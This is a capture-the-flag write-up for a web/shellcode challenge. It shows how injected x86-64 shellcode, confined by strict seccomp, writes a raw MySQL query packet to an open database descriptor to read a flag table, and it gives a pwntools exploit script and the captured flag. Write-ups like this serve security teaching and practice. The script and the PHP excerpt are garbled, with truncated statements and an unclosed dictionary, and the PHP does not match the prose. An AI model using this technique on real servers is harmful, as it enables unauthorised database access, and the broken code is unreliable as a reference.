Do you even SQL? The flag is in the table flag

Author : adamd

118 points, 64 Solves, web/shellcode

After visiting the link we are redirected to /cgi-bin/index.php which is a simple php-cgi script that seems to just take our post data and call the shellme function:

$link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');
if (isset($_POST['shell']))
  if (strlen($_POST['shell']) <= 1000)
    echo $_POST['shell'];

Disassembling reveals that shellme invokes the shell_this function, which is the following:

void shell_this(char* shellcode) {
  int len = strlen(shellcode);
  void *ptr = mmap(0, len, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
  void (*shell)();

  memcpy(ptr, shellcode, len);


  shell = (void (*)()) ptr;


Snce seccomp has been setup in SECCOMP_MODE_STRICT mode, we only have read,write,exit and sigreturn. As the connection to mysql has already been opened, we can read and write straight the file descriptor to query the database. One gotcha is that we have to return a valid HTTP response otherwise apache will blow up with a 500 error.

A quick peak with wireshark to see what wire format of a mysql query reveals that has the query length (3 bytes), sequence id (1 byte), command (1 byte). Using a command of 3 for query we can build up what we need, using pwntools makes all writing the shellcode a breeze:

#!/usr/bin/env python2
from pwn import *
import requests

context.arch = "amd64"
context.os = "linux"

host = ""
html = """X-Powered-By: PHP/7.0.28-0ubuntu0.16.04.1\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n<html><body>Hello World!</body></html>"""

query = "SELECT * from flag;"

shellcode = ""
shellcode += shellcraft.echo(p16(len(query)) + "\x00\x00\x03" + query , 4)
shellcode +=, 'rsp', 200)
shellcode += shellcraft.pushstr(html)
shellcode += shellcraft.write(1, 'rsp', 500)

data = {
  "shell": asm(shellcode) + "\x00"

resp = + "index.php", data=data)
print resp.text

Amoungst the random stack data returned is the flag:

OOO{shellcode and webshell is old news, get with the times my friend!}